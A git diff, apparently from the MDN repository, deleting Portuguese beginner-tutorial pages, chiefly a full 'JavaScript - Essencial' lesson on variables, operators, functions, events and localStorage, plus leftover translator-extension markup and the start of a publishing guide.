value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"></div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"></div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"></div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"></div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"></div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_player2"></div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"></div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html
deleted file mode 100644
index 8a3efc4ba4..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html
+++ /dev/null
@@ -1,414 +0,0 @@
----
-title: JavaScript - Essencial
-slug: Learn/Getting_started_with_the_web/JavaScript_basics
-tags:
- - Aprender
- - Beginner
- - CodingScripting
- - JavaScript
- - Web
- - l10n:priority
-translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
-original_slug: Learn/Comecar_com_a_Web/Elementar_de_JavaScript
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>JavaScript é uma linguagem de programação que dá interatividade ao seu website (sob a forma, por exemplo, de jogos, respostas quando os botões são pressionados ou quando são inseridos dados nos formulários, estilos dinâmicos ou animações). Este artigo faz uma introdução a esta linguagem excitante e dá-lhe uma ideia do que é possível.</p>
-</div>
-
-<h2 id="O_que_é_JavaScript_realmente">O que é JavaScript, realmente?</h2>
-
-<p>{{Glossary("JavaScript")}} (abreviado "JS") é uma {{Glossary("Dynamic programming language", "linguagem de programação dinâmica")}} completa que, quando é aplicada a um documento {{Glossary("HTML")}}, produz interatividade dinânimca no website. Foi inventada por Brendan Eich, co-fundador do projeto Mozilla, da Mozilla Foundation, e da Mozilla Corporation.</p>
-
-<p>JavaScript é incrivelmente versátil. Pode começar em ponto pequeno, com carrosséis, galerias de imagens, <em>layouts </em>flutuantes, e mensagens quando se prime um botão. Depois de ganhar experiência, será capaz de criar jogos, gráficos 2D e 3D animados, aplicações completas conduzidas por bases-de-dados e muito mais!</p>
-
-<p>JavaScript é relativamente compacta e muito flexível. Os programadores já escreveram uma grande variedade de ferramentas sobre o núcleo desta linguagem, o que abriu portas a uma vasta quantidade de funcionalidade extra com esforço mínimo. Isto inclui:</p>
-
-<ul>
- <li>{{Glossary("API","API")}} de navegadores — São as API incluídas nos navegadores, que proporcionam funcionalidades como criar HTML dinamicamente e definir estilos CSS, agregar e manipular uma transmissão de vídeo da <em>webcam</em> do utilizador, ou gerar gráficos 3D graphics e amostras de som.</li>
- <li>API de terceiros — que permitem aos programadores incorporar funcionalidade nos seus sites de outros fornecedores de conteúdo, como Twitter ou Facebook.</li>
- <li>Framework e bibliotecas de terceiros — que podem ser aplicadas ao HTML e assim permitem construir sites e aplicações rapidamente.</li>
-</ul>
-
-<p>Uma vez que este artigo é apenas uma introdução ligeira a JavaScript, não vamos confundi-lo com detalhes sobre a diferença entre JavaScript puro e as ferramentas enumeradas em cima. Poderá aprender esse detalhe mais tarde, na nossa <a href="/pt-PT/docs/Learn/JavaScript">área de aprendizagem de JavaScript</a>, e no resto da MDN.</p>
-
-<p>De seguida vamos introduzi-lo a alguns aspetos do núcleo da linguagem (JS puro, sem ferramentas), e também vai jogar com algumas funcionalidades da API do navegador. Divirta-se!</p>
-
-<h2 id="Um_exemplo_olá_mundo">Um exemplo "olá mundo"</h2>
-
-<p>A secção anterior deve parecer mesmo empolgante — JavaScript é uma das tecnologias web mais animadas, e à medida que se torna bom a usá-la, os seus sites entrarão numa nova dimensão de poder e creatividade.</p>
-
-<p>Contudo, ficar confortável com JavaScript é um pouco mais difícil do que ficar confortável com HTML e CSS. Terá que começar com projetos pequenos e prosseguir com passos pequenos e consistentes. Para começar, vamos mostrar como adicionar JavaScript básico à sua página, criando um exemplo "hello world" / "olá mundo!" (<a href="https://pt.wikipedia.org/wiki/Programa_Olá_Mundo">o padrão de exemplos básicos de programação</a>).</p>
-
-<div class="warning">
-<p><strong>Importante</strong>: Se não tem seguido o resto deste curso, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">descarregue este exemplo de código </a>e utilize-o como ponto de partida.</p>
-</div>
-
-<ol>
- <li>Primeiro, crie uma pasta "scripts" (sem aspas) na raíz do seu site de testes. Depois, dento desta pasta, crie um ficheiro chamado <code>main.js</code>.</li>
- <li>A seguir, no ficheiro <code>index.html</code> introduza o elemento seguinte numa linha nova mesmo antes da etiqueta de fechi <code>&lt;/body&gt;</code>:
- <pre class="brush: html notranslate">&lt;script src="scripts/main.js"&gt;&lt;/script&gt;</pre>
- </li>
- <li>Basicamente isto faz o mesmo que o elemento {{htmlelement("link")}} faz com CSS — aplica o código JavaScript à página, para que surta efeito no HTML (juntamente com o CSS, e outros recursos da página).</li>
- <li>Agora adicione o código seguinte ao ficheiro <code>main.js</code>:
- <pre class="brush: js notranslate">var myHeading = document.querySelector('h1');
-myHeading.textContent = 'Olá mundo!';</pre>
- </li>
- <li>Finalmente, certifique-se que guardou as alterações aos ficheiros HTML e JavaScript, e carregue o ficheiro <code>index.html</code> no navegador. Deverá ver algo como:<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: O motivo pelo qual pusemos o elemento {{htmlelement("script")}} no fim do ficheiro HTML é que os elementos são carregados pelo navaegador na ordem em que aparecem no ficheiro. Se o JavaScript é carregado primeiro e tem que afetar o HTML por baixo dele, pode não funcionar, já que o código JavaScript seria carregado antes do HTML que era suposto modificar. Assim, colocar o JavaScript no fim do ficheiro HTML costuma ser a melhor estratégia.</p>
-</div>
-
-<h3 id="O_que_aconteceu">O que aconteceu?</h3>
-
-<p>O texto do título foi mudado para "Hello world!", utilizando JavaScript. Isto foi feito com a função <code>{{domxref("Document.querySelector", "querySelector()")}}</code> para obter uma referência do título e guardá-la numa variável <code>myHeading</code>. Isto é semelhante ao que fizémos com seletores CSS. Quando se pretende fazer algo com um elemento, há que selecioná-lo primeiro.</p>
-
-<p>Depois, muda-se o valor da propriedade <code>{{domxref("Node.textContent", "textContent")}}</code> da variável <code>myHeading</code> (a qual representa o conteúdo textual do título) para "Olá Mundo!".</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Ambas as funções utilizadas fazem parte da <a href="/en-US/docs/Web/API/Document_Object_Model">API do Document Object Model (DOM) </a>, o qual permite manipular documentos HTML.</p>
-</div>
-
-<h2 id="Curso_intensivo_das_bases_da_linguagem">Curso intensivo das bases da linguagem</h2>
-
-<p>Vamos explicar algumas funcionalidades fundamentais da linguagem JavaScript, para permitir uma melhor compreensão de como a mesma funciona. Note que estas funcionalidades são comuns a todas as linguagens de programação, por isso, se dominar estes fundamentos, estará no bom caminho para programar praticamente qualquer coisa!</p>
-
-<div class="warning">
-<p><strong>Importante</strong>: Neste artigo, tente introduzir os exemplos de código na consola JavaScript para ver o que acontece. Para mais detalhes sobre a consola JavaScript, veja o artigo <a href="/pt-BR/docs/Learn/Common_questions/ferramentas_de_desenvolvimento_do_navegador">Descobrir as ferramentas de desenvolvimentos do navegador</a>.</p>
-</div>
-
-<h3 id="Variáveis">Variáveis</h3>
-
-<p>{{Glossary("Variable", "Variáveis")}} são "recipientes" em que pode guardar valores. Comece por declarar a variável com a palavra-chave <code>var</code>, seguida de qualquer nome que lhe queira dar:</p>
-
-<pre class="brush: js notranslate">var minhaVariavel;</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: O ponto e vírgula indica onde termina a instrução; apenas é estritamente necessário quando pretende separar instruções numa só linha. Contudo, algumas pessoas acham que é boa prática colocar este sinal no fim de cada instrução. Há mais regras sobre quando se deve ou não utilizá-lo — veja o artigo <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">Your Guide to Semicolons in JavaScript (inglês)</a> para obter mais detalhes.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: O nome da varíavel pode ser quase tudo, mas há restrições (veja este <a href="http://www.codelifter.com/main/tips/tip_020.shtml">artigo sobre regras para dar nome às variáveis (inglês)</a>). Se não tem a certeza, pode <a href="https://mothereff.in/js-variables">verificar o nome da sua variável</a> para assegurar que é válido.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: JavaScript é sensível a maiúsculas — <code>minhaVariavel</code> é uma variável diferente de <code>minhavariavel</code>. Se tiver encontrar problemas depois de escrever p código, verifique as maiúsculas e minúsculas!</p>
-</div>
-
-<p>Depois de declarar a variável, pode atribuir-lhe um valor:</p>
-
-<pre class="brush: js notranslate">minhaVariavel = 'Bob';</pre>
-
-<p>Pode efetuar ambas as operações com uma só instrução:</p>
-
-<pre class="brush: js notranslate">var myVariable = 'Bob';</pre>
-
-<p>O valor é obtido simplesmente escrevendo o nome da variável:</p>
-
-<pre class="brush: js notranslate">myVariable;</pre>
-
-<p>Depois de lhe dar um valor, pode optar por mudá-lo mais tarde:</p>
-
-<pre class="notranslate">var minhaVariavel = 'Bob';
-minhaVariavel = 'Steve';</pre>
-
-<p>Atenção que as variáveis podem ter valores com diferentes <a href="/en-US/docs/Web/JavaScript/Data_structures">tipos de de dados</a>:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="row">Variável</th>
- <th scope="col">Explicação</th>
- <th scope="col">Exemplo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th scope="row">{{Glossary("String")}}</th>
- <td>Uma sequência de texto conhecido como s<em>tring</em> ou cadeia de caracteres. Para indicar que é uma string, envolve-se em plicas <kbd>'</kbd>.</td>
- <td><code>var minhaVariavel = 'Bob';</code></td>
- </tr>
- <tr>
- <th scope="row">{{Glossary("Number")}}</th>
- <td>Um número. Não tem plicas em sua volta.</td>
- <td><code>var minhaVariavel</code><code> = 10;</code></td>
- </tr>
- <tr>
- <th scope="row">{{Glossary("Boolean")}}</th>
- <td>Valor que ou é verdadeiro ou falso. As palavras <code>true</code> e <code>false</code> são palavras-chave em JS, e não precisam de plicas.</td>
- <td><code>var minhaVariavel = true;</code></td>
- </tr>
- <tr>
- <th scope="row">{{Glossary("Array")}}</th>
- <td>Estrutura que permite guardar múltiplos valores numa só referência.</td>
- <td><code>var minhaVariavel = [1,'Bob','Steve',10];</code><br>
- Cada elemento da Array é referido desta forma (começa em zero):<br>
- <code>myVariable[0]</code>, <code>myVariable[1]</code>, etc.</td>
- </tr>
- <tr>
- <th scope="row">{{Glossary("Object")}}</th>
- <td>Pode ser qualquer coisa. Em JavaScript, tudo é um objeto e pode guardar-se numa variável. Mantenha isto em mente enquanto aprende.</td>
- <td><code>var minhaVariavel = document.querySelector('h1');</code><br>
- Assim como todos os exemplos anteriores.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Então para que precisamos das variáveis? Bem, são necessárias para qualquer tarefa interessante em programação. Se não houvesse valores que mudassem, não seria possível criar nada que fosse dinâmico, como personalizar uma mensagem de boas vindas ou mudar a imagem que se está a ver numa galeria.</p>
-
-<h3 id="Comentários">Comentários</h3>
-
-<p>Pode deixar comentários no seu código JavaScript, tal como em CSS:</p>
-
-<pre class="brush: js notranslate">/*
-Tudo entre estas marcas é um comentário.
-*/</pre>
-
-<p>Se o comentário não contiver quebras de linha, deve ser mais fácil utilizar duas barras, assim:</p>
-
-<pre class="brush: js notranslate" style="font-size: 14px;">// Isto é um comentário
-</pre>
-
-<h3 id="Operadores">Operadores</h3>
-
-<p>Um <code>{{Glossary("operator")}}</code> é um símbolo matemático que produz o resultado de uma operação entre dois valores (que podem ser variáveis). Na tabela seguinte constam alguns dos operadores mais simples, juntamente com alguns exemplos que pode experimentar na consola de JavaScript.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="row">Operador</th>
- <th scope="col">Explicação</th>
- <th scope="col">Símbolo(s)</th>
- <th scope="col">Exemplo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th scope="row">Adição</th>
- <td>Soma números ou junta duas strings.</td>
- <td><code>+</code></td>
- <td><code>6 + 9;<br>
- "Hello " + "world!";</code></td>
- </tr>
- <tr>
- <th scope="row">Subtração, Multiplicação, Divisão</th>
- <td>Comportam-se com esperado em aritmética.</td>
- <td><code>-</code>, <code>*</code>, <code>/</code></td>
- <td><code>9 - 3;<br>
- 8 * 2; // em JS, o sinal de "vezes" é um asterisco<br>
- 9 / 3;</code></td>
- </tr>
- <tr>
- <th scope="row">Atribuição</th>
- <td>Já vimos isto: atribui um valor a uma variável.</td>
- <td><code>=</code></td>
- <td><code>var minhaVariavel = 'Bob';</code></td>
- </tr>
- <tr>
- <th scope="row">Igualdade</th>
- <td>Faz um teste para verificar se dois valores são iguais e retorna um valor booleano (<code>true</code>/<code>false</code>).</td>
- <td><code>===</code></td>
- <td><code>var minhaVariavel = 3;<br>
- minhaVariavel === 4;</code></td>
- </tr>
- <tr>
- <th scope="row">Negação, Desigualdade</th>
- <td>Devolve o valor logicamente oposto, ou seja, torna o verdadeiro em falso e vice-versa. When it is used alongside the Equality operator, the negation operator tests whether two values are <em>not</em> equal.</td>
- <td><code>!</code>, <code>!==</code></td>
- <td>
- <p>The basic expression is <code>true</code>, but the comparison returns <code>false</code> because we've negated it:</p>
-
- <p><code>var myVariable = 3;<br>
- !(myVariable === 3);</code></p>
-
- <p>Verificar se "a <code>minhaVariavel</code> NÃO é igual a 3". Retorna <code>false</code> porque <code>minhaVariavel</code> é de facto igual a 3.</p>
-
- <p><code><code>var </code>minhaVariavel<code> = 3;</code><br>
- minhaVariavel !== 3;</code></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Há muito mais operadores a explorar, mas por agora basta. Veja uma lista completa no artigo <a href="/en-US/docs/Web/JavaScript/Reference/Operators">Expressões e operadores</a>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Misturar tipos de dados pode ter resultados estranhos, então certifique-se que está a utilizar as variáveis corretamente e que os resultados estão dentro do esperado. Por exemplo, introduza <code>"35" + "25"</code> na consola. Porque é que não faz a soma dos números? Porque as aspas tornam os números em strings, então em vez de somar, fez a concatenção das strings. Se introduzir, <code>35 + 25</code> já obterá o resultado correto.</p>
-</div>
-
-<h3 id="Condições">Condições</h3>
-
-<p>Condições são estruturas de código que permitem, em função do valor lógico (verdadeiro/falso) de uma expressão, executar código de entre várias alterantivas. Uma forma comum de uma condiçães é a instrução <code>if ... else</code> (se ... senão). Por exemplo:</p>
-
-<pre class="brush: js notranslate">var gelado = 'chocolate';
-if (gelado === 'chocolate') {
- alert('Viva, adoro gelado de chocolate!');
-} else {
- alert('Ohhhh, mas o meu favorito é chocolate...');
-}</pre>
-
-<p>A expressão dentro de parênteses em <code>if ( ... )</code> é a condição — utilza o operador de igualdade (como foi descrito em cima) para comparar a variável <code>gelado</code> com a string <code>'chocolate'</code> e assim verificar se são iguais. Caso esta comparação devolva <code>true</code>, é executado o primeiro bloco de código. Se não for verdadeira, não é executado o primeiro mas sim o segundo bloco de código, depois da instrução <code>else</code>.</p>
-
-<h3 id="Funções">Funções</h3>
-
-<p>{{Glossary("Function", "Functions")}} são uma maneira de juntar uma funcionalidade ou um conjunto instruções que se pretende reutilizar. Quando se pretende utilizar esta funcionalidade, chama-se a função pelo nome, em vez de voltar a escrever o código em cada utilização. Já pudémos ver a utilização de algumas funções, por exemplo:</p>
-
-<ol>
- <li>
- <pre class="brush: js notranslate">var minhaVariavel = document.querySelector('h1');</pre>
- </li>
- <li>
- <pre class="brush: js notranslate">alert('hello!');</pre>
- </li>
-</ol>
-
-<p>Estas funções, <code>document.querySelector</code> e <code>alert</code>, estão incluídas no navegador para serem utilizadas sempre que necessário.</p>
-
-<p>Quando vê algo que parece um nome de uma variável mas tem parênteses à direita— <code>()</code> —  é provavelmente uma função. As funções costumam possuir {{Glossary("Argument", "arguments")}} — dados de que necessitam para fazer o seu trabalho. Estes são passados dentros dos parênteses, separados por vírgulas quando há mais do que um.</p>
-
-<p>Por exemplo, a função <code>alert()</code> faz aparecer um "pop-up" na janela do navegador, mas é preciso dar-lhe uma string como argumento para que ela saiba o que escrever.</p>
-
-<p>E as boa notícia é que pode definir as suas próprias funções. Neste exemplo escrevemos uma função simples que aceita dois argumentos numéricos e multiplica-os:</p>
-
-<pre class="brush: js notranslate">function multiplicar(num1,num2) {
- var resultado = num1 * num2;
- return resultado;
-}</pre>
-
-<p>Tente declarar esta função na consola e depois testá-la com vários argumentos. Por exemplo:</p>
-
-<pre class="brush: js notranslate">multiplicar(4, 7);
-multiplicar(20, 20);
-multiplicar(0.5, 3);</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: A instrução <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> diz ao navegador para devolver/retornar a variável <code>result</code> para fora da função para que o seu valor possa ser utilizado. Isto é necessário porque variáveis definidas dentro das funções só estão disponíveis dentro dessas funções — a essa particularidade chama-se o âmbito da variável ({{Glossary("Scope", "scoping")}}). (Leia mais sobre <a href="/pt-PT/docs/Web/JavaScript/Guia/Gramática_e_tipos#Variable_scope">âmbito de variáveis</a>)</p>
-</div>
-
-<h3 id="Eventos">Eventos</h3>
-
-<p>Num site, interactividade a sério precisa de eventos. Eles são estruturas de código que esperam que algo aconteça no navegador e respondem executando código. O exemplo mais óbvio é o <a href="/en-US/docs/Web/Events/click">evento de clique</a>, que é enviado pelo navegador quando se clica em algo com o rato. Para demonstrar, introduza isto na sua consola, e depois clique na página atual:</p>
-
-<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {
- alert('Ai! Para de me picar!');
-}</pre>
-
-<p>Há muitas maneiras de associar um evento a um elemento. Aqui, selecionamos o elemento {{htmlelement("html")}}, atribuímos à sua propriedade <code><a href="/en-US/docs/Web/API/GlobalEventHandlers.onclick">onclick</a></code> o manuseador do evento (<em>event handler</em>), que neste caso é uma função anónima (sem nome), que contém o código que queremos que o evento de clique execute.</p>
-
-<p>Note que isto:</p>
-
-<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {};</pre>
-
-<p>É equivalente a isto:</p>
-
-<pre class="brush: js notranslate">var myHTML = document.querySelector('html');
-myHTML.onclick = function() {};</pre>
-
-<p>Só que o primeiro é mais curto.</p>
-
-<h2 id="Supercarregar_o_nosso_site-exemplo">Supercarregar o nosso site-exemplo</h2>
-
-<p>Agora que que já vimos as bases de JavaScript, vamos acrescentar umas funcionalidades fixes ao nosso site para ver o que é possível.</p>
-
-<h3 id="Acrescentar_um_alterador_de_imagens">Acrescentar um alterador de imagens</h3>
-
-<p>Nesta secção, vamos acrescentar uma imagem adicional ao nosso site com funções da API da DOM, utilizando JavaScript para mudar alternar entre as duas imagens quando se clica nelas.</p>
-
-<ol>
- <li>Primeiro, encontre outra imagem que goste de ter no seu site. Certifique-se que o tamanho é o mais próximo possível da primeira imagem.</li>
- <li>Guarde-a na pasta <code>images</code>.</li>
- <li>Mude o nome para "firefox2.png" (sem aspas).</li>
- <li>Vá ao ficheiro <code>main.js</code>, e introduza o seguinte código JavaScript. (Apague o código do "olá mundo", se ainda lá estiver)
- <pre class="brush: js notranslate">var myImage = document.querySelector('img');
-
-myImage.onclick = function() {
- var mySrc = myImage.getAttribute('src');
- if(mySrc === 'images/firefox-icon.png') {
- myImage.setAttribute('src','images/firefox2.png');
- } else {
- myImage.setAttribute('src','images/firefox-icon.png');
- }
-}</pre>
- </li>
- <li>Guarde todos os ficheiros e carregue o <code>index.html</code> no navegador. Agora, quando clicar sobre a imagem, ela deve mudar para a outra!</li>
-</ol>
-
-<p>Guardou-se uma referência para o elemento {{htmlelement("img")}} na variável <code>myImage</code>. Depois, atribui-se à propriedade <code>onclick</code> desta variável uma função anónima. Agora, sempre que se clica no elemento:</p>
-
-<ol>
- <li>Obtem-se o valor do atributo <code>src</code>.</li>
- <li>Utiliza-se uma condição para averiguar se o valor do mesmo é igual ao caminho da primeira imagem:
- <ol>
- <li>Se for, muda-se para o caminho da 2ª imagem, o que a obriga a ser carregada no elemento {{htmlelement("img")}}.</li>
- <li>Se não for (e portanto, já se trocaram as imagens), o valor de <code>src</code> volta a ser o caminho da imagem original.</li>
- </ol>
- </li>
-</ol>
-
-<h3 id="Dar_uma_mensagem_de_boas-vindas_personalizada">Dar uma mensagem de boas-vindas personalizada</h3>
-
-<p>De seguida vamos acrescentar mais um pouco de código, que vai mudar o título da página para uma mensagem de boas-vindas personalizada quando o utilizador navega no site pela primeira vez. A mesma vai persistir, mesmo que o utilizador saia do site e volte mais tarde — vamos guardá-la com a <a href="/en-US/docs/Web/API/Web_Storage_API">API de Web Storage</a>. Também vamos acrescentar opção de mudar de utilizador e, com o mesmo, a mensagem de boas-vindas sempre que for necessário.</p>
-
-<ol>
- <li>Em <code>index.html</code>, acrescente esta linha logo antes do elemento {{htmlelement("script")}}:
-
- <pre class="brush: html notranslate">&lt;button&gt;Change user&lt;/button&gt;</pre>
- </li>
- <li>Em <code>main.js</code>, coloque o código seguinte no fim do ficheiro, tal como está escrito — isto obtem referências ao novo botão e o título, e guarda-os em variáveis:
- <pre class="brush: js notranslate">var myButton = document.querySelector('button');
-var myHeading = document.querySelector('h1');</pre>
- </li>
- <li>Agora acrescente a função em baixo para estabelecer a mensagem personalizada — por agora não faz nada, mas já vamos tratar disso:
- <pre class="brush: js notranslate">function setUserName() {
- var myName = prompt('Por favor introuduza o seu nome.');
- localStorage.setItem('name', myName);
- myHeading.textContent = 'Mozilla is cool, ' + myName;
-}</pre>
- Este função faz uso da função <a href="/en-US/docs/Web/API/Window.prompt"><code>prompt()</code></a>, que mostra uma caixa de diálogo, semelhante a <code>alert()</code>. Mas a <code>prompt()</code> pede ao utilizador que introduza dados, que armazena numa variável depois que o mesmo faça <strong>OK</strong><em>.</em> Neste caso, pedimos ao utilizador que introduza o seu nome. Depois, recorremos à API chamada <code>localStorage</code>, que nos permite guardar dados no navegador para os obter mais tarde. Utilizamos a função <code>setItem()</code> para criar e guardar o artigo <code>'name'</code>, e dando-lhe o valor da variável <code>myName</code>, a qual contém o nome introduzido pelo utilizador. Finalmente, mudamos o <code>textContent</code> do título para uma string, à qual concatenamos o nome recentemente armazenado.</li>
- <li>Próximo: acrescente este bloco <code>if ... else</code> — podemos chamar-lhe código de iniciação, já que define a estrutura da aplicação quando é carregada pela primeira vez:
- <pre class="brush: js notranslate">if(!localStorage.getItem('name')) {
- setUserName();
-} else {
- var storedName = localStorage.getItem('name');
- myHeading.textContent = 'Mozilla is cool, ' + storedName;
-}</pre>
- Este bloco começa por utilizar o operador de negação ("não-lógico", representado pelo <kbd>!</kbd>) para averiguar se o dado <code>name</code> existe. Se não existir, a função <code>setUserName()</code> é utilizada para o criar. Se existe (ou seja, o utilizador introduziu-o numa visita anterior), recuperamos o nome armazenado com <code>getItem()</code> e mudamos <code>textContent</code> do título para a string, mais o nome do utilizador, da mesma forma que fizémos em <code>setUserName()</code>.</li>
- <li>Finalmente, coloque o manuseador do evento <code>onclick</code> no botão, como se mostra em baixo. Quando se clica no botão, é chamada a função <code>setUserName()</code>. Isto permite ao utilizador introduzir um novo nome, sempre que desejar, ao premir o botão:
- <pre class="brush: js notranslate">myButton.onclick = function() {
-  setUserName();
-}
-</pre>
- </li>
-</ol>
-
-<p>Agora, sempre que visitar o site, vai pedir-lhe o seu nome de utilizador, e depois mostrar a mensagem personalizada. Pode mudar o nome sempre que quiser ao premir o botão. Como bónus, já que o nome está guardado em localStorage (armazenamento local), persiste mesmo que o site seja fechado, e mantém a mensagem quando se voltar ao site!</p>
-
-<h2 id="Conclusão">Conclusão</h2>
-
-<p>Se seguiu as instruções neste artigo, o resultado final deve ser uma página semelhante à que vê na imagem em baixo (pode ver  <a href="https://mdn.github.io/beginner-html-site-scripted/">a nossa versão aqui</a>):</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png" style="display: block; height: 995px; margin: 0px auto; width: 800px;"></p>
-
-<p>Caso se tenha perdido, pode comparar o código que escreveu com o nosso <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">exemplo terminado no GitHub</a>.</p>
-
-<p>Este artigo mal rasou a superfície de JavaScript. Se gostou de brincar e deseja continuar a aprender, dirija-se ao nosso <a href="/en-US/docs/Learn/JavaScript">tópico de aprendizegem de JavaScript</a>.</p>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}</div>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site da Web?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site na internet</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html
deleted file mode 100644
index 63299c4e36..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: Publicar o seu site na Web
-slug: Learn/Getting_started_with_the_web/Publishing_your_website
-tags:
- - Aprender
- - Beginner
- - CodingScripting
- - FTP
- - GitHub
- - Google App Engine
- - Servidor de Web
- - Web
- - publicar
-translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
-original_slug: Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>Assim que terminar de escrever o código e organizar os ficheiros que compõem o seu sire da web, precisa de colocar tudo online para que pessoas o possam encontrar. Este artigo explica como colocar o seu código de amostra online com pouco esforço.</p>
-</div>
-
-<h2 id="Quais_são_as_opções">Quais são as opções?</h2>
-
